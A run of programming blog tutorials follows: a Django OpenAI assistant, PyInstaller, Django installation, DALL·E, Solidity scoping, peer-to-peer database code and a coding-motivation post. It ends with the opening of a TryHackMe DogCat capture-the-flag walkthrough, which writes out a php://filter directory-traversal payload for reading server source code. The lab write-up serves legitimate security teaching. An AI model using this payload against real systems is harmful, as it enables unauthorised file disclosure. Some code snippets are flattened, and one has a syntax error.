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How I Built an OpenAI-Powered Web Assistant with Django

5/5 – (1 vote)

Django is a backend web framework that makes it easy to build web pages quickly using Python. There is no better way to learn Django than by building projects. In this tutorial, I will show you how I built an Artificial Intelligence-powered web assistant using Django.

Set Up

To get started, we will create a directory where every file will live in. In the directory, we will create and activate a virtual environment. Then we will install the required Python libraries for the project. I am using an Ubuntu terminal, so a basic knowledge of the command line will be an added advantage going forward.

mkdir project && cd project
python3 -m venv .venv
source .venv/bin/activate

In the project directory, we create and activate a virtual environment using the source command. You can also replace the source command with a dot .. Let’s now install the modules we will be using.

pip install django tzdata openai

Creating Django Project

Once the installation is complete, run the following command in your Ubuntu terminal to create a Django project.

django-admin startproject webassistant .

This creates a folder with the name webassistant.

  • The . tells Django to create the project in the current directory.
  • The manage.py file is used to execute several Django commands.
  • The settings.py in the webassistant folder is the project’s settings. In it, we will register the Django apps we are about to create.
  • The urls.py is where we will let Django know what it should display to the user.

We now check to ensure that the installation went successfully. In your terminal run the following command:

python3 manage.py runserver

Once you have seen the above image, congrats! You have successfully installed Django. You can use control C to close the server.

Creating Django Apps

Back to your terminal, run the following command to create a Django app.

python3 manage.py startapp assistant

Use the ls command to see what’s inside the assistant folder.

ls assistant
__init__.py admin.py apps.py migrations models.py tests.py views.py

The __init__.py file found in both the webassistant and assistant folders enables the folders to be imported as a Python package. The views.py is where we code what we want the browser to be displayed to the user. These files are what concern our project. To know more about other files, check the documentation.

Next, we go to the settings.py file, in INSTALLED_APPS section to register the name of the app we just created. Use the nano command.

nano webassistant/settings.py

...
INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', # custom app 'assistant',
]

We also open the project’s urls.py file to register the app-level URLs.

from django.contrib import admin
from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), path('', include('assistant.urls')),
]

The path() function is used to map the URL to the appropriate view. The include() function adds the URL of the app to the project-level urls.py. The empty quote means the home URL, that is, what we see when we run the local server.

If you have read Django tutorials including this one, you are gradually becoming familiar with the process. That’s how it is done in every Django application.

Getting the API Key

We need an API key to enable the OpenAI model to perform web assistant tasks for us. To get the API key, we first have to create an account on the official website of OpenAI. Once you have completed the signup process, go to the OpenAI API reference where you will be directed to a page to generate your API key.

⭐ Recommended: OpenAI API – or How I Made My Python Code Intelligent

Make sure you keep the API key safe. Create a file in your app-level folder and call it key.py.

API_KEY = 'YOUR SECRET API KEY'

Just replace the text in quotes with your own generated API key.

Integrating the OpenAI Model

To integrate the API with our Django application, create a file called engine.py in the app’s folder and input the following python script.

# engine.py from .key import API_KEY
import openai openai.api_key = API_KEY def model(request): prompt = request.POST.get('prompt') response = openai.Completion.create( engine='text-davinci-003', temperature=0.5 prompt=prompt, max_tokens=1000, ) text = response.choices[0].text chats = {'prompt': prompt, 'response': text } return chats

We import the API key and the openai module. We use the openai.api_key to load the API key. Then, in the function, we requested to get the prompt, which is the question asked by the user. We then return the response generated by the model in form of a dictionary.

The temperature affects the randomness of the output, and it’s between 0 and 1. The AI model employed to generate predictions is the text_davinci_003. The max_tokens specifies the maximum number of tokens or pieces of words that can be generated by the model.

To learn more about the parameters, perhaps this article can be of help. We will now import the function in our views.py file.

from django.shortcuts import render, redirect
from .engine import model def home(request): try: if request.method == 'POST': context = model(request) return render(request, 'home.html', context) else: return render(request, 'home.html') except: return redirect('error') def error_handler(request): return render(request, 'error.html')

Two functions indicate two separate HTML files. In the first function, we use a try statement to check the block of code for errors. If no errors were found, the code under the try statement will execute. But if there were errors, the code under the except statement will be executed.

🐍 Recommended: Python Try/Except Error Handling

The if statement checks if the request method is POST, if so, it will generate a response from the OpenAI model. But if otherwise, the else statement will be run in which no response will be generated.

The render() function renders or displays a response in the HTML files which we are yet to create. Notice that in the else statement, the render() function just renders the same homepage without the context because the request method was not POST. The redirect() function is used to redirect a user to another webpage.

Let’s now write a URL in the urls.py file to display our contents.

assistant/urls.py from django.urls import path
from .import views urlpatterns = [ path('', views.home, name='home'), path('error', views.error_handler, name='error_handler'),
]

The name argument is kind of an alias for the URL. So instead of writing long URLs, we can just reference them with the name given. Mostly used in HTML files.

Templates

We now want to render our templates. Create a folder named templates in the current directory. This is where we will keep our HTML files. Having created the folder, go to settings.py and let Django know that a templates folder is created.

In the settings.py file, scroll down to the ‘TEMPLATES’ section and add the following to DIRS.

…
TEMPLATES = [ { … 'DIRS': [os.path.join(BASE_DIR, 'templates')], … }
]

Be sure to import the os module. Then, create a file in the templates folder with the name base.html

<!DOCTYPE html>
<html lang="en">
<head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Web Assistant | {% block title %} {% endblock %}</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body> {% block content %} {% endblock %}
</body>
</html>

That’s our HTML boilerplate with bootstrap added to it for styling our web pages. Next is the home.html, the homepage that will inherit everything in the base.html template.

{% extends 'base.html' %}
{% block title %} Home {% endblock %}
{% block content %}
<div class="row justify-content-center my-4"> <div class="col-md-7 mt-4"> <div class="card"> <h1 class="card-header text-center">A.I WEB ASSISTANT</h1> <div class="card-body"> <pre>Hello, how can I help you?</pre> <form action="." method="POST"> <!-- this secures the form from malicious attacks during submission --> {% csrf_token %} <input class="form-control mb-2" required type="text" autofocus="autofocus" name="prompt" value="{{ prompt }}" id=""> <button class="btn btn-success fw-bold" type="submit"> GENERATE </button> </form> <hr> <pre> {{ response }} </pre> </div> </div> </div> </div>
</div>
{% endblock %}

Finally, the error.html will be displayed when an error occurs. It also inherits everything in the base.html.

{% extends 'base.html' %}
{% block title %} 404 {% endblock %}
{% block content %}
<div class="row justify-content-center my-4"> <div class="col-md-7 mt-4"> <h1>Page Not Found</h1> <p>Make sure you are connected to the internet or your query is correct</p> <a href="{% url 'home' %}" class="btn btn-secondary">Home</a> </div>
</div>
{% endblock %}

Certain things in these HTML files demand an explanation. Those strange syntaxes that begin with curly braces are Django templating language. When used with a block statement, it must end with an endblock statement. In base.html, we inserted the empty block statement in the title tag.

This makes it possible to override the home and error HTML files with a different word. But you can see the ‘Web Assistant’ remains the same in all files inheriting base.html.

The csrf_token is for security reasons. It’s compulsory. If you don’t add it, Django will throw an error. The prompt variable comes from the view.py file which in turn is imported from the engine.py file. The same applies to the response. Remember, we sent them here using the render() function.

The {% url 'home' %} syntax is Django’s way of displaying internal URLs. Go back to the app-level urls.py, you will see where we defined the name and this makes it possible to use it in HTML files.

Conclusion

Congrats on creating an AI-powered web assistant using Django. If you enjoy the tutorial, feel free to share it with others. Have a nice day.

⭐ Recommended: How I Created an URL Shortener App Using Django

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Python to .exe – How to Make a Python Script Executable?

5/5 – (1 vote)

I have a confession to make. I use Windows for coding Python.

This means that I often need to run my practical coding projects as Windows .exe files, especially if I work with non-technical clients that don’t know how to run a Python file.

In this tutorial, I’ll share my learnings on making a Python file executable and converting them to an .exe so that they can be run by double-click.

PyInstaller

To make a Python script executable as a .exe file on Windows, use a tool like pyinstaller. PyInstaller runs on Windows 8 and newer.

⭐ Pyinstaller is a popular package that bundles a Python application and its dependencies into a single package, including an .exe file that can be run on Windows without requiring a Python installation.

Here are the general steps to create an executable file from your Python script using Pyinstaller:

  1. Install Pyinstaller by opening a command prompt and running the command: pip install pyinstaller or pip3 install pyinstaller depending on your Python version.
  2. Navigate to the directory where your Python script is located in the command prompt using cd (command line) or ls (PowerShell).
  3. Run the command: pyinstaller --onefile your_script_name.py. This command creates a single executable file of your Python script with all its dependencies included.
  4. After the command completes, you can find the executable file in a subdirectory called dist.
  5. You can now distribute the executable file to users, who can run it on their Windows machines by double-clicking the .exe file.

What Does the –onefile Option Mean?

The --onefile file specifier is an option for Pyinstaller that tells it to package your Python script and all its dependencies into a single executable file.

By default, Pyinstaller will create a directory called dist that contains your script and a set of related files that it needs to run. However, using the --onefile option, Pyinstaller will generate a single .exe file, which is more convenient for the distribution and deployment of the application.

1-Paragraph Summary

To convert a Python file my_script.py to an executable my_script.exe using Pyinstaller, install Pyinstaller using pip install pyinstaller, navigate to the script directory in the command prompt, run pyinstaller --onefile my_script.py, then locate the executable file in the dist folder.

If you want to keep improving your coding skills, check out our free Python cheat sheets!

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PIP Install Django – A Helpful Illustrated Guide

5/5 – (1 vote)

As a Python developer, I love using Django for web development. Its built-in features and clear code structure make building scalable and robust web applications fast and efficient. In fact, I used Django to build my own web app for Python testing and training.

Here’s how you can install Django:

pip install django

Alternatively, you may use any of the following commands to install django, depending on your concrete environment. One is likely to work!

💡 If you have only one version of Python installed:
pip install django 💡 If you have Python 3 (and, possibly, other versions) installed:
pip3 install django 💡 If you don't have PIP or it doesn't work
python -m pip install django
python3 -m pip install django 💡 If you have Linux and you need to fix permissions (any one):
sudo pip3 install django
pip3 install django --user 💡 If you have Linux with apt
sudo apt install django 💡 If you have Windows and you have set up the py alias
py -m pip install django 💡 If you have Anaconda
conda install -c anaconda django 💡 If you have Jupyter Notebook
!pip install django
!pip3 install django

Let’s dive into the installation guides for the different operating systems and environments!

How to Install Django on Windows?

To install the updated Django framework on your Windows machine, run the following code in your command line or Powershell:

  • python3 -m pip install --upgrade pip
  • python3 -m pip install --upgrade django

Here’s the code for copy&pasting:

python3 -m pip install --upgrade pip
python3 -m pip install --upgrade django

I really think not enough coders have a solid understanding of PowerShell. If this is you, feel free to check out the following tutorials on the Finxter blog.

Related Articles:

How to Install Django on Mac?

Open Terminal (Applications/Terminal) and run:

  • xcode-select -install (You will be prompted to install the Xcode Command Line Tools)
  • sudo easy_install pip
  • sudo pip install django
  • pip install django

As an alternative, you can also run the following two commands to update pip and install the Django library:

python3 -m pip install --upgrade pip
python3 -m pip install --upgrade django

These you have already seen before, haven’t you?

Related Article:

How to Install Django on Linux?

To upgrade pip and install the Django library, you can use the following two commands, one after the other.

  • python3 -m pip install --upgrade pip
  • python3 -m pip install --upgrade django

Here’s the code for copy&pasting:

python3 -m pip install --upgrade pip
python3 -m pip install --upgrade django

How to Install Django on Ubuntu?

Upgrade pip and install the Django library using the following two commands, one after the other:

  • python3 -m pip install --upgrade pip
  • python3 -m pip install --upgrade django

Here’s the code for copy&pasting:

python3 -m pip install --upgrade pip
python3 -m pip install --upgrade django

How to Install Django in PyCharm?

The simplest way to install Django in PyCharm is to open the terminal tab and run the pip install django command.

This is shown in the following code:

pip install django

Here’s a screenshot of the two steps:

  1. Open Terminal tab in Pycharm
  2. Run pip install django in the terminal to install Django in a virtual environment.

As an alternative, you can also search for Django in the package manager.

However, this is usually an inferior way to install packages because it involves more steps.

How to Install Django in Anaconda?

You can install the Django package with Conda using the command conda install -c anaconda django in your shell or terminal.

Like so:

 conda install -c anaconda django 

This assumes you’ve already installed conda on your computer. If you haven’t check out the installation steps on the official page.

How to Install Django in VSCode?

You can install Django in VSCode by using the same command pip install django in your Visual Studio Code shell or terminal.

pip install django

If this doesn’t work — it may raise a No module named 'django' error — chances are that you’ve installed it for the wrong Python version on your system.

To check which version your VS Code environment uses, run these two commands in your Python program to check the version that executes it:

import sys
print(sys.executable)

The output will be the path to the Python installation that runs the code in VS Code.

Now, you can use this path to install Django, particularly for that Python version:

/path/to/vscode/python -m pip install django

Wait until the installation is complete and run your code using django again. It should work now!

🚀 Recommended: Django Developer — Income and Opportunity

More Finxter Tutorials

Learning is a continuous process and you’d be wise to never stop learning and improving throughout your life. 👑

What to learn? Your subconsciousness often knows better than your conscious mind what skills you need to reach the next level of success.

I recommend you read at least one tutorial per day (only 5 minutes per tutorial is enough) to make sure you never stop learning!

💡 If you want to make sure you don’t forget your habit, feel free to join our free email academy for weekly fresh tutorials and learning reminders in your INBOX.

Also, skim the following list of tutorials and open 3 interesting ones in a new browser tab to start your new — or continue with your existing — learning habit today! 🚀

Python Basics:

Python Dependency Management:

Python Debugging:

Fun Stuff:

Thanks for learning with Finxter!

Programmer Humor

❓ Question: How did the programmer die in the shower? ☠

Answer: They read the shampoo bottle instructions:
Lather. Rinse. Repeat.

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I Created My First DALL·E Image in Python OpenAI Using Four Easy Steps

5/5 – (1 vote)

I have a problem. I’m addicted to OpenAI. Every day I find new exciting ways to use it. It’s like somebody gave me a magic stick and I use it for stupid things like cleaning the kitchen. But I cannot help it! So, how to create images with OpenAI in Python? Easy, follow these four steps! 👇

Step 1: Install the OpenAI Python Library

The first step to using OpenAI’s DALL·E in Python is to install the OpenAI Python library. You can do this using pip, a package manager for Python.

Open your terminal and enter the following command:

pip install openai

I have written a whole tutorial on this topic in case this doesn’t work instantly.

💡 Recommended: How to Install OpenAI in Python?

Step 2: Create an OpenAI API Key

OpenAI is not free for coders — but it’s almost free. I only pay a fraction of a cent for a request, so no need to be cheap here. 🧑‍💻

Visit the page https://platform.openai.com/account/api-keys and create a new OpenAI key you can use in your code. Copy&paste the API key because you’ll need it in your coding project!

Step 3: Authenticate with OpenAI API Key

Next, you’ll need to authenticate with OpenAI’s API key. You can do this by importing the openai_secret_manager module and calling the get_secret() function. This function will retrieve your OpenAI API key from a secure location, and you can use it to authenticate your API requests.

import openai_secret_manager
import openai secrets = openai_secret_manager.get_secret("openai") # Authenticate with OpenAI API Key
openai.api_key = secrets["api_key"]

If this sounds too complex, you can also use the following easier code in your code script to try it out:

import openai # Authenticate with OpenAI API Key
openai.api_key = 'sk-...'

The disadvantage is that the secret API key is plainly visible to anybody with access to your code file. Never load this code file into a repository such as GitHub!

Step 4: Generate Your DALL·E Image

Now that you’re authenticated with OpenAI, you can generate your first DALL·E image. To do this, call the openai.Image.create() function, passing in the model name, prompt, and size of the image you want to create.

import openai # Authenticate with OpenAI API Key
openai.api_key = 'sk-...' # Generate images using DALL-E
response = openai.Image.create( model="image-alpha-001", prompt="a coder learning with Finxter", size="512x512"
) print(response.data[0]['url'])

In the code above, we specified the DALL·E model we wanted to use (image-alpha-001), provided a prompt for the image we wanted to create (a coder learning with Finxter), and specified the size of the image we wanted to create (512x512).

"a coder learning with Finxter"

Once you’ve generated your image, you can retrieve the image URL from the API response and display it in your Python code or in a web browser.

print(response.data[0]['url'])

Conclusion

Using OpenAI’s DALL·E to generate images is a powerful tool that can be used in various applications. So exciting! 🤩

With just a few lines of Python code, you can create unique images that match specific text descriptions. By following the four easy steps outlined in this article, you can get started generating your own DALL·E images today.

🚀 Recommended: OpenAI’s Speech-to-Text API: A Comprehensive Guide

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Solidity Scoping – A Helpful Guide with Video

5/5 – (1 vote)

As promised in the previous article, we’ll get more closely familiar with the concept of scoping next. We’ll explain what scoping is, why it exists, and how it helps us in programming.

YouTube Video

It’s part of our long-standing tradition to make this (and other) articles a faithful companion, or a supplement to the official Solidity documentation.

Scopes Overview

Scope refers to the context in which we can access a defined variable or a function. There are three main types of scope specific to Solidity:

  • global,
  • contract, and
  • function scope.

In the global scope, variables, and functions are defined at the global level, i.e., outside of any contract or function, and we can access them from any place in the source code.

In the contract scope, variables and functions are defined within a contract, but outside of any function, so we can access them from anywhere within the specific contract. However, these variables and functions are inaccessible from outside the contract scope.

In the function scope, variables and functions are defined within a function and we can access them exclusively from inside that function.

💡 Note:

The concept of scopes in Solidity is similar and based on the concept of scopes in the C99 programming language. In both languages, a “scope” refers to the context in which a variable or function is defined and can be accessed.

In C99 (a C language standard from 1999), variables and functions can be defined at either the global level (i.e., outside of any function) or within a function. There is no “contract” scope in C99.

Global Scope

Let’s take a look at a simple example of the global scope:

pragma solidity ^0.6.12; uint public globalCounter; function incrementGlobalCounter() public { globalCounter++;
}

In this example, the globalCounter variable is defined at the global level and is, therefore, in the global scope. We can access it from anywhere in the code, including from within the incrementGlobalCounter(...) function.

✅ Reminder: Global variables and functions can be accessed and modified by any contract or function that has access to them. We can find this behavior useful for sharing data across contracts or functions, but it can also present security risks if the global variables or functions are not properly protected.

Contract Scope

As explained above, variables and functions defined within a contract (but outside of any function) are in contract scope, and we can access them from anywhere within the contract.

Contract-level variables and functions are useful for storing and manipulating data that is specific to a particular contract and is not meant to be shared with other contracts or functions.

Let’s take a look at a simple example of the contract scope:

pragma solidity ^0.6.12; contract Counter { uint public contractCounter; function incrementContractCounter() public { contractCounter++; }
}

In this example, the contractCounter variable is defined within the Counter contract and is, therefore, in contract scope. It is available for access from anywhere within the Counter contract, including from within the incrementContractCounter() function.

⚡ Warning: We should be aware that contract-level variables and functions are only accessible from within the contract in which they are defined. They cannot be accessed from other contracts or from external accounts.

Function Scope

Variables and functions that are defined within a function are in the function scope and can only be accessed from within that function.

Function-level variables and functions are useful for storing and manipulating data that is specific to a particular function and is not meant to be shared with other functions or with the contract as a whole.

Let’s take a look at the following example of the function scope:

pragma solidity ^0.6.12; contract Counter { function incrementCounter(uint incrementAmount) public { uint functionCounter = 0; functionCounter += incrementAmount; }
}

In this example, the functionCounter variable is defined within the incrementCounter(...) function and is, therefore, in the function scope. It can only be accessed from within the incrementCounter function and is not accessible from other functions or from outside the contract.

C99 Scoping Rules

Now, let’s take a look at an interesting example showing minimal scoping by using curly braces:

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.9.0;
contract C { function minimalScoping() pure public { { uint same; same = 1; } { uint same; same = 3; } }
}

Each of the curly braces pair forms a distinct scope, containing a declaration and initialization of the variable same.

This example will compile without warnings or errors because each of the variable’s lifecycles is contained in its own disjoint scope, and there is no overlap between the two scopes.

Shadowing

In some special cases, such as this one demonstrating C99 scoping rules below, we’d come across a phenomenon called shadowing.

💡 Shadowing means that two or more variables share their name and have intersected scopes, with the first one as the outer scope and the second one as the inner scope.

Let’s take a closer look to get a better idea of what’s all about:

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.9.0;
// This will report a warning
contract C { function f() pure public returns (uint) { uint x = 1; { x = 2; // this will assign to the outer variable uint x; } return x; // x has value 2 }
}

There are two variables called x; the first one is in the outer scope, and the second one is in the inner scope.

The inner scope is contained in or surrounded by the outer scope.

Therefore, the first and the second assignment assign the value 1, and then value 2 to the outer variable x, and only then will the declaration of the second variable x take place.

In this specific case, we’d get a warning from the compiler, because the first (outer) variable x is being shadowed by the second variable x.

⚡ Warning: in versions prior to 0.5.0, Solidity used the same scoping rules as JavaScript: a variable declared at any location within the function would be visible through the entire function’s scope. That’s why the example below could’ve been compiled in Solidity versions before 0.5.0:

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.9.0;
// This will not compile
contract C { function f() pure public returns (uint) { x = 2; uint x; return x; }
}

The code above couldn’t compile in today’s versions of Solidity because an assignment to variable x is attempted before the variable itself is declared. In other words, the inner variable x‘s scope starts with the line of its declaration.

Conclusion

In this article, we learned about variable and function scopes.

  • First, we made a scope overview, introducing ourselves to three different scopes in Solidity.
  • Second, we investigated the global scope by studying an appropriate example.
  • Third, we looked at the contract scope through an appropriate example.
  • Third, learned about the function scope on an appropriate example.
  • Fourth, we glanced at C99 scoping rules based on C99 – a C language standard.
  • Fifth, we also learned about shadowing and got an idea of why we should be careful about it.

What’s Next?

This tutorial is part of our extended Solidity documentation with videos and more accessible examples and explanations. You can navigate the series here (all links open in a new tab):

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My Journey to Help Build a P2P Social Network – Database Code Structure

5/5 – (1 vote)

Welcome to part 3 of this series, and thank you for sticking around!

I’ve come to realize this might become a rather long series. The main reason for that is that it documents two things. This is the birth of an application and my personal journey in developing that application. I know parts 1 and 2 have been very wordy. This will change now. I promise that you will see a lot of code in this episode :-).

Database Code

So after that slight philosophical tidbit, it is time to dive into the actual database code. As I mentioned in the previous article, I chose to use Deta Space as the database provider. There are two reasons for this. The first is the ease of use and the second are its similarities to my favorite NoSQL database MongoDB.

💡 Recommended: Please check my article on creating a shopping list in Streamlit on how to set it up. It takes only a few minutes.

For reference, the server directory with all the code to get the FastAPI server working looks as follows:

server
├── db.py
├── main.py
├── models.py
├── requirements.txt
├── .env

All the database code will live in the db.py file. For the Pydantic models, I’ll use models.py.

Database Functions

The database functions are roughly divided into three parts.

  • We first need functionality for everything related to users.
  • Next, we need to code that handles everything related to adding and managing friends.
  • The third part applies to all the code for managing thoughts. Thoughts are Peerbrain’s equal of messages/tweets.

The file will also contain some helper functions to aid with managing the public keys of users. I’ll go into a lot more detail on this in the article about encryption.

To set up our db.py file we first need to import everything needed. As before, I’ll show the entire list and then explain what everything does once we write code that uses it.

"""This file will contain all the database logic for our server module. It will leverage the Deta Base NoSQL database api.""" from datetime import datetime
import math
from typing import Union
import os
import logging
from pprint import pprint #pylint: disable=unused-import
from uuid import uuid4
from deta import Deta
from dotenv import load_dotenv
from passlib.context import CryptContext

The #pylint comment you can see above is used to make sure pylint skips this import. I use pprint for displaying dictionaries in a readable way when testing. As I don’t use it anywhere in the actual code, pylint would start to fuss otherwise.

💡 Tip: For those interested, pylint is a great tool to check your code for consistency, errors and, code style. It is static, so it can’t detect errors occurring at runtime. I like it even so🙂.

After having imported everything, I first initialize the database. The load_dotenv() below, first will load all my environment variables from the .env file. 

load_dotenv() #---DB INIT---#
DETA_KEY = os.getenv("DETA_KEY")
deta = Deta(DETA_KEY)
#---#
USERS = deta.Base("users")
THOUGHTS = deta.Base("thoughts")
KEYS = deta.Base("keys_db")

Once the variables are accessible, I can use the Deta API key to initialize Deta. Creating Bases in Deta is as easy as defining them with deta.Base. I can now call the variable names to perform CRUD operations when needed.

Generate Password Hash

The next part is very important. It will generate our password hash so the password is never readable. Even if someone has control of the database itself, they will not be able to use it. Cryptcontext itself is part of the passlib library. This library can hash passwords in multiple ways.🙂.

#---PW ENCRYPT INIT---#
pwd_context = CryptContext(schemes =["bcrypt"], deprecated="auto")
#---#
def gen_pw_hash(pw:str)->str: """Function that will use the CryptContext module to generate and return a hashed version of our password""" return pwd_context.hash(pw)

User Functions

The first function of the user functions is the easiest. It uses Deta’s fetch method to retrieve all objects from a certain Base, deta.users, in our case.

#---USER FUNCTIONS---#
def get_users() -> dict: """Function to return all users from our database""" try: return {user["username"]: user for user in USERS.fetch().items} except Exception as e: # Log the error or handle it appropriately print(f"Error fetching users: {e}") return {}

The fact that the function returns the found users as a dictionary makes them easy to use with FastAPI. As we contact a database in this function and all the others in this block, a tryexcept block is necessary. 

The next two functions are doing the same thing but with different parameters. They accept either a username or an email.

I am aware that these two could be combined into a single function with an if-statement. I still do prefer the two separate functions, as I find them easier to use. Another argument I will make is also that the email search function is primarily an end user function. I plan to use searching by username in the background as a helper function for other functionality.

def get_user_by_username(username:str)->Union[dict, None]: """Function that returns a User object if it is in the database. If not it returns a JSON object with the message no user exists for that username""" try: if (USERS.fetch({"username" : username}).items) == []: return {"Username" : "No user with username found"} else: return USERS.fetch({"username" : username}).items[0] except Exception as error_message: logging.exception(error_message) return None def get_user_by_email(email:str)->Union[dict, None]: """Function that returns a User object if it is in the database. If not it returns a JSON object with the message no user exists for that email address""" try: if (USERS.fetch({"email" : email}).items) == []: return {"Email" : "No user with email found"} else: return USERS.fetch({"email" : email}).items[0] except Exception as error_message: logging.exception(error_message) return None

The functions above both take a parameter that they use to filter the fetch request to the Deta Base users.

If that filtering results in an empty list a proper message is returned. If the returned list is not empty, we use the .items method on the fetch object and return the first item of that list. In both cases, this will be the user object that contains the query string (email or username).

The entire sequence is run inside a try-except block as we are trying to contact a database.

Reset User Password

When working with user creation and databases, a function to reset a user’s password is required. The next function will take care of that.

def change_password(username, pw_to_hash): """Function that takes a username and a password in plaintext. It will then hash that password> After that it creates a dictionary and tries to match the username to users in the database. If successful it overwrites the previous password hash. If not it returns a JSON message stating no user could be found for the username provided.""" hashed_pw = gen_pw_hash(pw_to_hash) update= {"hashed_pw": hashed_pw } try: user = get_user_by_username(username) user_key = user["key"] if not username in get_users(): return {"Username" : "Not Found"} else: return USERS.update(update, user_key), f"User {username} password changed!" except Exception as error_message: logging.exception(error_message) return None 

This function will take a username and a new password. It will first hash that password and then create a dictionary. Updates to a Deta Base are always performed by calling the update method with a dictionary. As in the previous functions, we always check if the username in question exists before calling the update. Also, don’t forget the try-except block!

Create User

The last function is our most important one :-). You can’t perform any operations on user objects if you have no way to create them! Take a look below to check out how we’ll handle that.

def create_user(username:str, email:str, pw_to_hash:str)->None: """Function to create a new user. It takes three strings and inputs these into the new_user dictionary. The function then attempts to put this dictionary in the database""" new_user = {"username" : username, "key" : str(uuid4()), "hashed_pw" : gen_pw_hash(pw_to_hash), "email" : email, "friends" : [], "disabled" : False} try: return USERS.put(new_user) except Exception as error_message: logging.exception(error_message) return None

The user creation function will take a username, email, and password for now. It will probably become more complex in the future, but it serves our purposes for now. Like the Deta update method, creating a new item in the database requires a dictionary. Some of the necessary attributes for the dictionary are generated inside the function.

The key needs to be unique, so we use Python’s uuid4 module. The friend’s attribute will contain the usernames of other users but starts as an empty list. The disabled attribute, finally, is set to false. 

After finishing the initialization, creating the object is a matter of calling the Deta put method. I hear some of you thinking that we don’t do any checks if the username or email already exists in the database. You are right, but I will perform these checks on the endpoint receiving the post request for user creation.

Some Coding Thoughts and Learnings

GitHub 👈 Join the open-source PeerBrain development community!

One thing that never ceases to amaze me is the amount of documentation I like to add. I do this first in the form of docstrings as it helps me keep track of what function does what. I find it boring most of the time, but in the end, it helps a lot!

The other part of documenting that I like is type hints. I admit they sometimes confuse me still, but I can see the merit they have when an application keeps growing. 

We will handle the rest of the database function in the next article. See you there!

Participate in Building the Decentralized Social Brain Network 👇

As before, I state that I am completely self-taught. This means I’ll make mistakes. If you spot them, please post them on Discord so I can remedy them 🙂

As always, feel free to ask me questions or pass suggestions! And check out the GitHub repository for participation!

👉 GitHub: https://github.com/shandralor/PeerBrain

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Cracking the Code to a Better Life: How Learning to Code Can Satisfy the 8 Life Forces

5/5 – (1 vote)

As human beings, we are driven by a number of basic needs and desires that motivate us to take action and pursue our goals. This includes things like survival, enjoyment of life, sexual companionship, comfortable living conditions, and more.

I believe learning to code is a powerful way to satisfy many of these profound life forces. Let’s go over them one by one as a small exercise to keep you motivated for the week! 💪💪💪

Life Forces #1 – Survival, Enjoyment of Life, Life Extension

By learning to code, you can position yourself to take advantage of the many job opportunities that exist in the tech industry, which can provide you with the financial resources you need to support yourself and your loved ones.

The median annual income of a software developer in the US is $120,730, compared to a median income overall of $41,535. No need to say more on this point!

👉 Recommended: Income of Freelance Developer

Additionally, coding can be a fun and rewarding hobby that can help you stay mentally sharp and engaged with the world around you.

Life Forces #2 – Comfortable Living Conditions

By developing skills in programming, prompting, tech, blockchain development, and machine learning, you can position yourself to take advantage of the many high-paying job opportunities that exist in these fields, which can help you achieve the comfortable living conditions you desire.

👉 Recommended: Machine Learning Engineer — Income and Opportunity

Life Forces #3 – To Be Superior and Winning

Don’t underestimate the motivational power of this basic need of human beings!

By mastering the latest programming languages, tools, and techniques, you can position yourself as an expert in your field and achieve a sense of superiority and accomplishment that can drive you to greater success.

Imagine being able to command the power of infinite leverage by programming computers. Wouldn’t controlling an army of artificially intelligent entities help you win?

Life Forces #4 – Sexual Companionship

While learning to code may not directly impact your ability to find sexual companionship, it can provide you with the financial resources and independence you need to pursue romantic relationships on your own terms.

It’s also a status game, after all.

In researching this hypotheses for the purpose of this post, I came across lots of scientifical evidence on this topic such as Zhang 2022:

💕 “We found that men with higher social status were more likely to have long-term mating and reproductive success”

DYR!

Life Forces #5 – Freedom From Fear, Pain, and Danger

By achieving financial security and stability through your coding skills, you can achieve a sense of freedom from fear, pain, and danger that can allow you to pursue your dreams and passions without undue worry or stress.

In fact, creating my own coding business online — starting out as a freelance developer on Upwork — has given me all the freedom I ever dreamed of!

👉 Recommended: Read my story here

Life Forces #6 – Care And Protection of Loved Ones

By achieving financial success through your coding skills, you can provide for and protect your loved ones, ensuring they have the resources and security they need to thrive.

Life Forces #7 – Social Approval

By mastering programming, tech, blockchain development, and machine learning skills, you can achieve a sense of social approval and validation from your peers and colleagues, who will respect and admire your expertise and achievements.

Conclusion

✅ In short, learning to code can satisfy many of the life forces that drive us as human beings, and can provide you with the skills and resources you need to achieve success and fulfillment in all areas of your life.

If you’re looking to take your career and life to the next level, I encourage you to check out our academy‘s courses on programming, tech, blockchain development, ChatGPT, freelancing, and machine learning. They can help you achieve your goals and create the life you’ve always dreamed of.

Thank you for being a part of our community, and we look forward to supporting you on your journey to success and fulfillment.

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TryHackMe DogCat Walkthrough [+ Easy Video]

5/5 – (1 vote)

CHALLENGE OVERVIEW

YouTube Video
  • Link: THM Dogcat
  • Difficulty: Medium
  • Target: Flags 1-4
  • Highlight: intercepting and modifying a web request using burpsuite 
  • Tools used: base64, burpsuite
  • Tags: docker, directory traversal

BACKGROUND

In this tutorial, we will walk a simple website showing pictures of dogs and cats.

We’ll discover a directory traversal vulnerability that we can leverage to view sensitive files on the target machine.

At the end of this challenge, we will break out of a docker container in order to capture the 4th and final flag.

ENUMERATION/RECON

export target=10.10.148.135
Export myIP=10.6.2.23

Let’s walk the site.

It looks like a simple image-viewing site that can randomize images of dogs and cats. After toying around with the browser addresses, we find that directory traversal allows us to view other files.

Let’s see if we can grab the HTML code that processes our parameters in the browser address. This will help us understand what is happening on the backend.

We’ll use a simple PHP filter to convert the contents to base64 and output the raw base64 string. 

http://10.10.148.135/?view=php://filter/read=convert.base64-encode/resource=./dog/../index

Raw output:

